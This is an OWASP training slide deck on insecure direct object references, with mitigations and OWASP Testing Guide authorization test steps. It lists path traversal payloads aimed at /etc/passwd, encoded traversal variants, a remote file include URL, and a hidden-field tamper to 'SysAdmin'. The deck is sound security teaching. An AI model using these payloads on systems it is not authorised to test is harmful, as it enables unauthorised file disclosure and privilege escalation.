OWASP Top 10A4 – Insecure Direct Object Reference

Narudom RoongsiriwongCISSP

WhoAmI

● Lazy Blogger– Japan, Security, FOSS, Politics, Christian– http://narudomr.blogspot.com

● Information Security since 1995● Web Application Development since 1998● Head of IT Security, Kiatnakin Bank PLC (KKP)● Contact: narudom.roongsiriwong@owasp.org

What Is It?

• Occurs when a developer exposes a reference to an internal implementation object, such as a file, directory, or database key.

• Without an access control check or other protection, attackers can manipulate these references to access unauthorized data.

Impact = Moderate

● Such flaws can compromise all the data that can be referenced by the parameter.

● Unless object references are unpredictable, it’s easy for an attacker to access all available data of that type.

● Consider the business value of the exposed data as well as the business impact of public exposure of the vulnerability.

Why Care About Insecure Direct Object References? ● Although this vulnerability is easy to exploit and easy

to detect, it is still usually ignored by developers● June 2000, Australian Treasury GST(Goods and

Services Tax) website was hacked and private information from 17,000 businesses breached, just by a student typing in an URL

● February 2014, Insecure Direct Object Reference allow attacker to delete all the posted thread and comments on Yahoo's Suggestion Board website → 1.5 million records

Insecure Direct Object Web Page Query

Not Only Web Page but XML Data Island

Client Account ID

Account ID

Not Only Web Page but XML Data Island

Not Only Web Page but XML Data Island

Not Only Web Page but XML Data Island

Misunderstanding on Insecure Direct Object Reference● We use HTTPS nobody can change my POST parameters

– HTTPS protects data in transportation not the end point, attackers can manipulate data using tools like OWASP Zap Proxy, Burp Suite or even Firebug plug-in for Firefox

● We use AJAX to exchange data browser's developer mode cannot see or change data– Proxy tools like OWASP Zap Proxy and Burp Suites are able to

intercept HTTP(S) protocol including AJAX communication● Our mobile application with HTTPS cannot be intercepted,

nobody can change object references– No, attackers can run your app on rooted or jail-broken devices or

in emulator or connect to access point with proxy tools as named above

Misunderstanding onInsecure Direct Object Reference● We can encrypt requests before POSTing

– Be sure you use encryption not encoding like base64– If you use symmetric encryption, the key will be on

client side somewhere.● Web application, the encryption key must be

somewhere in your scripts.● Mobile application, attackers can reverse engineering

you app and find the key– If you use asymmetric encryption, it is safe, however

your server processing will increase significantly.

Mitigations

● Do not expose internal keys or identifiers– Keep user ID or key in a session variable– Use a temporary mapping value (See next slide)

● Use object references that are challenging to guess– GUID/UUID– Random Number

● Perform server-side authorization checks before object accesses (strongly recommend)– Verify the parameter value is properly formatted– Verify the user is allowed to access the target object– Verify the requested mode of access is allowed to the target object

(e.g., read, write, delete)

Temporary Mapping Value

Account Label MapID

112536 Deposit 1

115696 Current 2

Temporary

In session memory

How Do You Test Applications?

• Testing for insecure direct object references can be hard to automate– Automated scanners do not know what users should have access to

what data• Inspect parameters being passed to applications• Manipulate parameters to see if sensitive information is

disclosed• Look at pages whose only purpose is to display information

about a single object– Documents– Accounts– Statements

OWASP Testing Guide for A4

● Authorization Testing– Testing Directory

traversal/file include (OTG-AUTHZ-001)

– Testing for Bypassing Authorization Schema (OTG-AUTHZ-002)

– Testing for Privilege escalation (OTG-AUTHZ-003)

– Testing for Insecure Direct Object References (OTG-AUTHZ-004)

Testing Directory traversal/file include(OTG-AUTHZ-001): Enumeration● Are there request parameters which could be used for file-related

operations?● Are there unusual file extensions?● Are there interesting variable names?

– http://example.com/index.php?file=content– http://example.com/main.cgi?home=index.htm– http://example.com/getUserProfile.jsp?item=ikki.html

● Is it possible to identify cookies used by the web application for the dynamic generation of pages or templates?

Cookie: ID=d9ccd3f4f9f18cc1:T-

M=2166255468:LM=1162655568:S=3cFpqbJgMSSPKVMV:-

TEMPLATE=flower

Cookie: USER=1826cc8f:PSTYLE=GreenDotRed

Testing Directory traversal/file include(OTG-AUTHZ-001): Testing Techniques● Insert the malicious string “../../../../” to include the

password hash file for a Linux/Unix or boot.ini for Windows system– http://example.com/getUserProfile.jsp?

item=../../../../etc/passwd● For the cookies example:

– Cookie: USER=1826cc8f:PSTYLE=../../../../etc/passwd● Try to include files and scripts located on external website.

– http://example.com/index.php?file=http://www.owasp.org/malicioustxt

● Try to show the source code of a CGI component– http://example.com/main.cgi?home=main.cgi

Testing Directory traversal/file include(OTG-AUTHZ-001): Testing Techniques

If “../” does not work, try character encoding such as URL encoding, double URL encoding, Unicode/UTF-8 encoding

Encoding Test with Represent

URL %2e%2e%2f ../

%2e%2e/ ../

..%2f ../

%2e%2e%5c ..\

%2e%2e\ ..\

..%5c ..\

Double URL %252e%252e%255c ..\

..%255c ..\

Unicode/UTF-8 ..%c0%af ../

..%c1%9c ..\

Testing Directory traversal/file include(OTG-AUTHZ-001): Testing Tools● DotDotPwn - The Directory Traversal Fuzzer -

http://dotdotpwn.sectester.net● Path Traversal Fuzz Strings (from WFuzz Tool) -

http://code.google.com/p/wfuzz/source/browse/trunk/wordlist/Injections/Traversal.txt

● Web Proxy (Burp Suite, Paros, WebScarab,OWASP: Zed Attack Proxy (ZAP))

● Encoding/Decoding tools

Testing Other Authorization(OTG-AUTHZ-002 to 004): Prerequisite● Needs to map out all locations in the application where

user input is used to reference objects directly.– A database row– A file– Application pages

● Having at least two (often more) users to cover different owned objects and functions– Users each having access to different objects (such as

purchase information, private messages, etc.)– Users with different privileges (for example administrator

users) to see whether there are direct references to application functionality

Testing for Bypassing Authorization Schema (OTG-AUTHZ-002): Summary● Focus on verifying how the authorization schema has

been implemented for each role or privilege to get access to reserved functions and resources.

● States to verify– User is not authenticated– After the log-out– User that holds a different role or privilege

● Track all the administrative functions when:– Logging as a user with standard privileges– Logging as a user with a different role and for whom that

action should be denied

Testing for Bypassing Authorization Schema (OTG-AUTHZ-002): How to test● Testing for access to administrative functions

– Example, Try to post to administrator's “adduser” when logging on as non-administrative roles

● Testing for access to resources assigned to a different role– Example, analyze an application that uses a shared

directory

Testing for Privilege escalation (OTG-AUTHZ-003): Summary● Verify that it is not possible for a user to modify his or her

privileges or roles inside the application● Privilege escalation occurs when a user gets access to more

resources or functionality than they are normally allowed● The degree of escalation depends on what privileges the

attacker is authorized to possess, and what privileges can be obtained in a successful exploit

● Vertical escalation – access resources granted to more privileged accounts (e.g., acquiring administrative privileges for the application)

● Horizontal escalation – access resources granted to a similarly configured account (e.g., in an online banking application, accessing information related to a different user)

Testing for Privilege escalation (OTG-AUTHZ-003): How to test

POST /user/viewOrder.jsp HTTP/1.1 Host: www.example.com ... groupID=grp001&orderID=0001

This POST allows the user that belongs to grp001 to access order #0001, logon with a user that does not belong to grp001 then intercept the post & try to modify the parameters to gain access privileged data

Testing for Privilege escalation (OTG-AUTHZ-003): How to testHTTP/1.1 200 OKServer: Netscape-Enterprise/6.0Date: Wed, 1 Apr 2006 13:51:20 GMTSet-Cookie: USER=aW78ryrGrTWs4MnOd32Fs51yDqp; path=/; domain=www.example.com Set-Cookie: SESSION=k+KmKeHXTgDi1J5fT7Zz; path=/; domain= www.example.comCache-Control: no-cachePragma: No-cache Content-length: 247Content-Type: text/htmlExpires: Thu, 01 Jan 1970 00:00:00 GMTConnection: close

<form name="autoriz" method="POST" action = "visual.jsp"> <input type="hidden" name="profile" value="SysAdmin"><body onload="document.forms.autoriz.submit()"></td></tr>

This HTML shows a hidden field to the user after a successful administrative user authentication.

Logon with another non-administrative user and modify the value of the variable "profile" to "SysAdmin"? Is it possible to become administrator?

Testing for Insecure Direct Object References(OTG-AUTHZ-004): Scenarios● Retrieve a database record

– http://foo.bar/somepage?invoice=12345● Perform an operation in the application

– http://foo.bar/changepassword?user=someuser● Retrieve a file system resource

– http://foo.bar/showImage?img=img00011● Access application functionality

– http://foo.bar/accessPage?menuitem=12

Testing for Insecure Direct Object References(OTG-AUTHZ-004): Where to Look for● URL Query String● Cookie (HTTP Header)● Request Body (Post Method)

– Query String– XML SOAP Interface– JSON Document

● Check Web URL, Web Forms, AJAX Communication, Mobile HTTP Request and Web Service

Common Tools for Authorization Testing

● Web Proxy (Burp Suite, Paros, WebScarab,OWASP: Zed Attack Proxy (ZAP))

Recap

● Insecure direct object references occur when an application exposes internal references to objects via parameters passed to the application

● To guard against:– Do not expose internal keys or identifiers for

objects– Use object references that are challenging to guess– Perform server-side authorization checks before

object accesses (strongly recommend)

References• OWASP– OWASP Top 10 2010-A4-Insecure Direct Object References– ESAPI Access Reference Map– ESAPI Access Control API (See isAuthorizedForData(),

isAuthorizedForFile(), isAuthorizedForFunction())• External– CWE Entry 639 on Insecure Direct Object Reference– CWE Entry 22 on Path Traversal (an example of a Direct

Object Reference attack)